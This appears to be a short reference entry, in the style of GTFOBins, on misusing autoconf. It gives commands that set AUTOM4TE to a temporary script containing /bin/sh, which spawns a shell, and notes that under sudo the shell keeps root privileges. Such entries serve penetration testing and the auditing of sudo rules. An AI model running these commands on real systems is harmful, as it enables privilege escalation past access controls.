This executable can spawn an interactive system shell.
This function can be performed by any unprivileged user.
echo /bin/sh >/path/to/temp-file
chmod +x /path/to/temp-file
touch configure.ac
AUTOM4TE=/path/to/temp-file autoconf
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
echo /bin/sh >/path/to/temp-file
chmod +x /path/to/temp-file
touch configure.ac
AUTOM4TE=/path/to/temp-file autoconf